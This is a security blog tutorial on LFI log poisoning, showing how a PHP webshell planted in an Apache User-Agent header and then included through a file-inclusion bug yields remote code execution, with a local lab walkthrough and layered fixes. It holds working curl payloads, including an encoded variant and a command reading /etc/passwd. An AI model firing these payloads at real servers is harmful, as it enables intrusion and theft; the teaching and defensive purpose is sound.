TechEarl

LFI Log Poisoning: Turning a File Read into RCE via the Apache Access Log

Ishan Karunaratne⏱️ 16 min readUpdated
Share thisCopied
LFI log poisoning chain: User-Agent injection plus access log inclusion

Log poisoning is the LFI escalation people remember after the classic ../ reads stop being interesting. The chain is two requests long: write PHP into a file the web server already maintains (the Apache access log), then include that file through the existing LFI sink so the interpreter parses the PHP you planted. One curl to taint the log, one curl to fire the payload, and an unauthenticated arbitrary-file-read becomes an unauthenticated RCE. It is the fallback shape I reach for when php://input is blocked by allow_url_include=Off and the php://filter source disclosure trick has given me everything I can usefully read but nothing executable.

This article is the variant deep dive that sits under the path traversal and LFI parent guide. I walk the mechanism, the permission gotchas that decide whether the chain fires at all, the Docker-specific stdout symlink that quietly defeats the stock php:8.2-apache image, a reproducible walkthrough against the lfi-basic lab, the other poisonable surfaces beyond the access log, and the fixes that actually hold up.

TL;DR

Log poisoning chains a write-primitive (every request's User-Agent header is recorded verbatim by the web server) into an existing LFI sink. I send a request with <?php system($_GET[0]); ?> as the User-Agent; Apache logs the literal bytes into /var/log/apache2/access.log. Then I hit the vulnerable include with ?page=../../../../var/log/apache2/access.log&0=id. PHP include() opens the log file, parses every byte as PHP source, hits the tag I planted, switches into PHP mode, runs system($_GET[0]) with the command from ?0=, and returns the output inline. The two preconditions are an include() sink that accepts a path the attacker controls without a prefix check, and a log file readable by the PHP process. The Debian Apache default of 0640 root:adm blocks the read until somebody adds www-data to the adm group for a debug dashboard. Docker base images that symlink the log to /dev/stdout defeat the chain in a different way.

The mechanic in one sentence

The web server logs every request and writes the User-Agent header into the access log verbatim; the LFI sink lets me include any file by path; therefore I can write PHP into the access log via a header and then include the log as if it were a PHP file.

The shape is identical to the stored XSS write-then-trigger pattern, except the write surface is the log file rather than a database row and the trigger is include() rather than the browser's HTML parser. Same two-step mental model: find the write primitive the application gives you for free, find the sink that reads it back into a dangerous interpreter, connect them.

Step 1, taint the log

Send any request with a PHP tag as the User-Agent header:

bash
curl -A '<?php system($_GET[0]); ?>' http://target/

Apache writes a log line that looks something like:

code
192.0.2.10 - - [23/Oct/2026:14:02:11 +0000] "GET / HTTP/1.1" 200 1234 "-" "<?php system($_GET[0]); ?>"

The relevant part is the trailing quoted field: the raw bytes of my User-Agent, written between double quotes, no encoding, no escaping. Apache's combined log format treats the User-Agent as an opaque string and pipes it through to disk. Same story for nginx with the default combined format. The log file now contains a real <?php ... ?> block that any PHP interpreter would parse and execute if you handed the file to include().

The User-Agent is the easiest field but it is not the only one. The Referer header is logged the same way, the request line itself is logged (so a 404 with PHP in the URL writes the payload into both the access log and the error log), and any custom logged header (X-Forwarded-For is a common one in front of a CDN) becomes a write surface.

Step 2, include the log

With the log poisoned, fire the LFI:

bash
curl 'http://target/view-raw.php?page=../../../../var/log/apache2/access.log&0=id'

The include opens /var/log/apache2/access.log, the parser walks the file from the top, ignores every non-PHP byte (the log header, the request lines from other visitors, the timestamps), hits my <?php system($_GET[0]); ?> block, switches into PHP mode, evaluates $_GET[0] which the second query parameter has set to id, runs system("id"), then leaves PHP mode and continues echoing the rest of the log. The response body is a wall of access-log lines with the output of id (uid=33(www-data) gid=33(www-data) groups=33(www-data),4(adm)) embedded where the include's parser hit the tag.

The ?0= parameter name is not magic. I use 0 because it is one character and a valid PHP array key, and because mixing it into the URL after the file path stays readable. Any name works as long as the payload references the same key.

Permission gotchas

This is the part nobody documents and the part that decides whether the chain actually fires.

On stock Debian and Ubuntu, the Apache package ships with the log directory configured like this:

code
$ ls -la /var/log/apache2/
drwxr-x---  2 root adm   4096 ... .
-rw-r-----  1 root adm  91234 ... access.log
-rw-r-----  1 root adm  12345 ... error.log

The log file is 0640, owner root, group adm. The PHP process runs as www-data. The www-data user is not in the adm group by default on any Debian release I have checked. That means the chain fails at the read step: include() tries to open the log, the kernel refuses, the PHP Warning: include(...): failed to open stream: Permission denied lands in the response (with display_errors=On) or in the application's own error log (without), and the attacker walks away with nothing.

The realistic misconfiguration that re-opens the chain, and the one I find in production with depressing regularity, is somebody adding www-data to the adm group so a debug dashboard can tail the access log from the application UI:

bash
sudo usermod -a -G adm www-data
sudo systemctl restart apache2

Two lines. The dashboard works. The log-poisoning chain is now live, and nobody connects the two. I have seen this exact misconfiguration in three different production environments in 2024; it is the single most reliable predictor of a working log-poisoning chain in a real engagement.

Alternative routes to the same outcome: the operator widens the perms to 0644, the application runs as root because somebody panicked and made it work that way, the log directory is on an NFS mount with squash settings that flatten ownership, the container runs everything as the same UID. Any one of those puts the log inside the PHP process's read set.

The official php:8.2-apache and php:8.3-apache base images do something subtle that matters here: they symlink the Apache log files to the container's stdout and stderr so docker logs picks up the traffic.

code
# inside the container:
$ ls -la /var/log/apache2/
lrwxrwxrwx 1 root root 11 ... access.log -> /dev/stdout
lrwxrwxrwx 1 root root 11 ... error.log -> /dev/stderr

/dev/stdout inside the container resolves to /proc/self/fd/1, which is a character device, not a regular file. When I run the chain against a stock php:8.2-apache deployment, include('/var/log/apache2/access.log') follows the symlink to the character device, and the device does not replay the log content as PHP source. The include() either returns nothing (because reading from fd 1 is undefined for the PHP process) or reads zero bytes and falls through. Either way, no execution.

This is worth being honest about. The chain you read in every LFI tutorial assumes a regular log file on disk. Stock Docker base images do not give you one. Real-world deployments that route Apache logs to disk via syslog, that bind-mount a log directory off the container, that run a sidecar log shipper writing to a real file, or that override the symlink for any other reason are vulnerable; the stock image as-is, is not.

The lfi-basic lab overrides this on purpose: the Dockerfile removes the symlink, replaces it with a real file, makes the file readable by www-data, and turns on allow_url_include and display_errors. The chain works inside the lab because every defence has been deliberately turned off; the moment any one of them is restored, the chain fails.

Lab walkthrough against lfi-basic

Boot the lab from the techearl-labs repo:

bash
docker compose up lfi-basic

It listens on http://localhost:8084. The vulnerable endpoint is view-raw.php, which passes $_GET['page'] straight to include() with no suffix and no prefix check.

Step 1, taint the log via the User-Agent on a normal request:

bash
curl -A '<?php system($_GET[0]); ?>' http://localhost:8084/

The response is the lab's home page. Nothing visibly happened, but the access log inside the container now carries the PHP tag.

Step 2, include the log and pass the command in ?0=:

bash
curl 'http://localhost:8084/view-raw.php?page=../../../../var/log/apache2/access.log&0=id'

The response is the lab's view-raw panel wrapped around a chunk of access-log lines, with the output of id embedded inline where the parser hit the tag. Substitute 0=whoami, 0=uname%20-a, 0=cat%20/etc/passwd, or any other command the www-data user can run. URL-encode the spaces.

The chain works inside the lab because the lab's Dockerfile explicitly:

  1. Removes the /var/log/apache2/access.log -> /dev/stdout symlink.
  2. Touches a real file at the same path.
  3. Adds www-data to the adm group so the PHP process can read the log.
  4. Sets allow_url_include=On and display_errors=On in php.ini.

Reverse any one of those and the chain stops firing. That is the whole defensive lesson in a sentence: log poisoning needs a writable header, a readable log, and an include sink with no prefix check. Break any link and the chain dies.

Other poisonable files

The access log is the easiest target but it is not the only one.

  • /var/log/apache2/error.log. Apache logs the full request line for 404s, syntax errors, and module failures. If the request path itself contains PHP (curl 'http://target/<?php system($_GET[0]); ?>', URL-encoded as curl 'http://target/%3C%3Fphp%20system(%24_GET%5B0%5D)%3B%20%3F%3E'), the error log writes the decoded tag into the file. Same chain after that, with page=../../../../var/log/apache2/error.log. The error log is more useful in some hardened configs because the application owner sometimes opens up error-log reads to make debugging easier while leaving the access log locked down.

  • /proc/self/environ. On older Linux kernels, the environment variables of the current PHP process are readable from /proc/self/environ, and the HTTP_USER_AGENT environment variable carries the (CGI-translated) User-Agent. Poison the User-Agent, hit page=/proc/self/environ, the include reads the env block, hits the PHP tag, executes. Modern kernels enforce permissions on /proc/self/environ (only the process owner can read it), and the PHP process is the owner, so the read still works on the surface, but the environ format on modern PHP-FPM setups often does not include HTTP_USER_AGENT in the way the old mod_php era did. Treat this as a useful try on legacy stacks, not a default move.

  • /var/log/mail.log, /var/log/cron.log, /var/log/auth.log. Anything the attacker can write to via another channel and the PHP process can read. A mail server that logs the MAIL FROM envelope, a cron job that logs the command line of a user-controlled invocation, an auth log that records failed SSH attempts with the attempted username in the line. All write surfaces; all readable by the PHP process if the operator widened group membership for any reason.

  • Application-level files. Session files in /tmp/sess_*, queue files written by a worker, uploaded files that landed on disk with a .txt extension and would never be served by Apache but are happily included by PHP. Anything the application writes that contains user input is a candidate.

The pattern is always the same: a file the attacker can write to (directly or via a header), readable by the include() sink. The access log is the canonical example because every web server gives you one for free.

The fix

The fixes are layered and the layers compose.

Do not let user input become an include path at all. This is the only design that is correct by construction. Map an opaque ID to a known file:

php
$pages = [
  'about' => '/srv/app/pages/about.php',
  'contact' => '/srv/app/pages/contact.php',
];
$key = $_GET['page'] ?? 'about';
if (!isset($pages[$key])) { http_response_code(404); exit; }
include($pages[$key]);

The user controls a key into a map, not a filesystem path. Log poisoning has no entry point because no path the attacker can influence reaches include().

If you must let user input shape the path, resolve and prefix-check. Use realpath() to canonicalise, then check the resolved path is inside the allowed directory. The full pattern is in the path traversal parent guide.

Keep the web user out of the adm group. The only legitimate reason www-data ever needs to be in adm is "I want my application to read the system logs", which is an architectural smell. Ship logs to a separate system via syslog, journald, or a log forwarder, and read them there. The application server should not have the system log group on its primary process.

Tighten log file permissions. The Debian default of 0640 root:adm is already correct; do not loosen it. If the application genuinely needs to read its own logs, write the application logs to a separate location owned by the application user, and leave the system logs alone.

Disable display_errors in production. The chain works in the lab partly because display_errors=On surfaces the include's parse output in the response body. With display_errors=Off and log_errors=On, the attacker has to work blind, which raises the cost of exploitation even if the underlying sink is still broken. This is defence in depth, not a primary fix.

Use a log forwarder. Ship logs off the application server to a separate system via syslog, journald with journald-remote, Vector, Filebeat, or Fluent Bit. The local Apache log file becomes ephemeral (a small ring buffer or, in the Docker case, a stdout pipe), and there is no long-lived disk file for the attacker to poison. This is the architecture-level fix that closes the class.

Real-world incidents

A short tour of log poisoning in the wild. Verify the per-CVE details against the linked advisory before quoting.

  • CVE-2018-19518, PHP IMAP imap_open. Argument injection in the imap_open function let an attacker pass -oProxyCommand=... to the underlying rsh invocation, which is not log poisoning by itself but commonly chained with an LFI on the same target to land a webshell via the Apache log on hosting panels (Roundcube, in particular). Disclosed November 2018, exploited at scale against shared-hosting deployments through 2019 and 2020.

  • CVE-2019-11043, PHP-FPM with nginx. An out-of-bounds write in PHP-FPM's env_path_info handling (CWE-787) let an attacker corrupt FastCGI memory and land remote code execution against any nginx + PHP-FPM deployment that matched the vulnerable URL-rewrite pattern. The realistic chain on a target that also had an LFI sink was: pop a shell through CVE-2019-11043, drop a backdoor into the access log, and use the log-include path as the persistence layer once the FPM patch landed. Disclosed October 2019.

  • CVE-2021-41773 and CVE-2021-42013, Apache 2.4.49 and 2.4.50. The Apache path-traversal pair documented in the parent guide. The RCE variant of CVE-2021-42013 was sometimes reached via the access log on misconfigured servers where mod_cgi was enabled but the direct CGI route was blocked; the log-poisoning chain was the documented fallback.

These are not the only ones. Search the CVE database for "log poisoning" alone and the results are sparse, because the chain is almost always documented as an LFI advisory with the log-poisoning escalation noted in the exploitation section. Treat every LFI advisory with a writable log on the same host as a potential RCE.

Where to go next

Log poisoning is the LFI chain that depends most on the operator's defence-in-depth choices: the Debian log permissions, the Docker base image's stdout symlink, the www-data group membership, the display_errors setting. Each one of those would, on its own, defeat the chain. The reason the bug persists is that every shop has a reason to flip one of those defaults, and once flipped, nobody connects the dotted line back to "I just opened an unauthenticated path from a single GET parameter to code execution".

Sources

Authoritative references this article was fact-checked against.

Tagslfilog-poisoningrceapachephp

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts